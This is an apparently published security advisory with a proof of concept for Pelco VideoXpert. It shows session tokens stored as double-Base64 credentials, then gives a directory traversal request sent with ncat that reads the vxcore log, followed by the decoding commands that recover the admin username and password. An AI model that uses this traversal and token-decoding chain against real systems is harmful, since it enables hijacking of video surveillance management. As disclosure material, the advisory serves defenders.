80 lines
No EOL
4.2 KiB
Text
80 lines
No EOL
4.2 KiB
Text
Schneider Electric Pelco VideoXpert Missing Encryption Of Sensitive Information
|
|
|
|
|
|
Vendor: Schneider Electric SE
|
|
Product web page: https://www.pelco.com
|
|
Affected version: 2.0.41
|
|
1.14.7
|
|
1.12.105
|
|
|
|
Summary: VideoXpert is a video management solution designed for
|
|
scalability, fitting the needs surveillance operations of any size.
|
|
VideoXpert Ultimate can also aggregate other VideoXpert systems,
|
|
tying multiple video management systems into a single interface.
|
|
|
|
Desc: The software transmits sensitive data using double Base64 encoding
|
|
for the Cookie 'auth_token' in a communication channel that can be
|
|
sniffed by unauthorized actors or arbitrarely be read from the vxcore
|
|
log file directly using directory traversal attack resulting in
|
|
authentication bypass / session hijacking.
|
|
Ref: ZSL-2017-5419
|
|
|
|
Tested on: Microsoft Windows 7 Professional SP1 (EN)
|
|
Jetty(9.2.6.v20141205)
|
|
MongoDB/3.2.10
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2017-5420
|
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5420.php
|
|
|
|
|
|
05.04.2017
|
|
|
|
--
|
|
|
|
|
|
After a user logs in, the web server creates a Cookie: auth_token which has the following value:
|
|
|
|
ZXlKMWMyVnlibUZ0WlNJNkltRmtiV2x1SWl3aWNHRnpjM2R2Y21RaU9pSmhaRzFwYmpFeU15SXNJbVJ2YldGcGJpSTZJa3hQUTBGTUlpd2laWGh3YVhKbGN5STZNVFE1TVRVMU5qYzVOekUxT0N3aVlXZGxiblFpT2lJME1HWTJORE00TmkxbVptTXdMVFExTkRFdE9XTmpaQzFoTlRJeU0yUmlNbVpqTURraUxDSmpiR2xsYm5SSmNDSTZJakV5Tnk0d0xqQXVNU0o5
|
|
|
|
Base64 decoding that becomes:
|
|
|
|
eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbjEyMyIsImRvbWFpbiI6IkxPQ0FMIiwiZXhwaXJlcyI6MTQ5MTU1Njc5NzE1OCwiYWdlbnQiOiI0MGY2NDM4Ni1mZmMwLTQ1NDEtOWNjZC1hNTIyM2RiMmZjMDkiLCJjbGllbnRJcCI6IjEyNy4wLjAuMSJ9
|
|
|
|
Again decoding, gives us result:
|
|
|
|
{"username":"admin","password":"admin123","domain":"LOCAL","expires":1491556797158,"agent":"40f64386-ffc0-4541-9ccd-a5223db2fc09","clientIp":"127.0.0.1"}
|
|
|
|
|
|
PoC remote session takeover with directory traversal:
|
|
-----------------------------------------------------
|
|
|
|
bash-4.4$ cat pelco_live.txt
|
|
GET /portal//..\\\..\\\..\\\..\\\ProgramData\Pelco\Core\core\vxcore.log HTTP/1.1
|
|
Host: 127.0.0.1
|
|
Connection: close
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36
|
|
Content-Type: text/plain; charset=utf-8
|
|
Accept: */*
|
|
Referer: https://127.0.0.1/portal/
|
|
Accept-Language: en-US,en;q=0.8,mk;q=0.6
|
|
DNT: 1
|
|
|
|
bash-4.4$ ncat -v -n 127.0.0.1 80 < pelco_live.txt > vxcore_log.txt
|
|
bash-4.4$ cat vxcore_log.txt
|
|
--snip--
|
|
INFO [2017-04-06 11:20:09.999] [HealthCheckMonitorPollingThread-0] org.mongodb.driver.connection: Closed connection [connectionId{localValue:400, serverValue:473}] to mongod0-rs1-dfde27ce-6a4f-413a-a7c2-6df855d462df:31001 because the pool has been closed.
|
|
INFO [2017-04-06 11:20:12.559] [dw-5099 - GET /portal/System.html?auth_token=ZXlKMWMyVnlibUZ0WlNJNkltRmtiV2x1SWl3aWNHRnpjM2R2Y21RaU9pSmhaRzFwYmpFeU15SXNJbVJ2YldGcGJpSTZJa3hQUTBGTUlpd2laWGh3YVhKbGN5STZNVFE1TVRVMU5qYzVOekUxT0N3aVlXZGxiblFpT2lJME1HWTJORE00TmkxbVptTXdMVFExTkRFdE9XTmpaQzFoTlRJeU0yUmlNbVpqTURraUxDSmpiR2xsYm5SSmNDSTZJakV5Tnk0d0xqQXVNU0o5] com.pelco.vms.webService.application.servlets.StaticContentServlet: Returning static content for URI /portal/System.html
|
|
INFO [2017-04-06 11:20:12.567] [dw-5055 - GET /portal/Lilac.css] com.pelco.vms.webService.application.servlets.StaticContentServlet: Returning static content for URI /portal/Lilac.css
|
|
INFO [2017-04-06 11:20:12.568] [dw-5098 - GET /portal/lilac/lilac.nocache.js] com.pelco.vms.webService.application.servlets.StaticContentServlet: Returning static content for URI /portal/lilac/lilac.nocache.js
|
|
--snip--
|
|
|
|
bash-4.4$ cat pelco_auth_token.txt
|
|
ZXlKMWMyVnlibUZ0WlNJNkltRmtiV2x1SWl3aWNHRnpjM2R2Y21RaU9pSmhaRzFwYmpFeU15SXNJbVJ2YldGcGJpSTZJa3hQUTBGTUlpd2laWGh3YVhKbGN5STZNVFE1TVRVMU5qYzVOekUxT0N3aVlXZGxiblFpT2lJME1HWTJORE00TmkxbVptTXdMVFExTkRFdE9XTmpaQzFoTlRJeU0yUmlNbVpqTURraUxDSmpiR2xsYm5SSmNDSTZJakV5Tnk0d0xqQXVNU0o5
|
|
bash-4.4$ base64 -D pelco_auth_token.txt |base64 -D -
|
|
{"username":"admin","password":"admin123","domain":"LOCAL","expires":1491556797158,"agent":"40f64386-ffc0-4541-9ccd-a5223db2fc09","clientIp":"127.0.0.1"}
|
|
bash-4.4$ |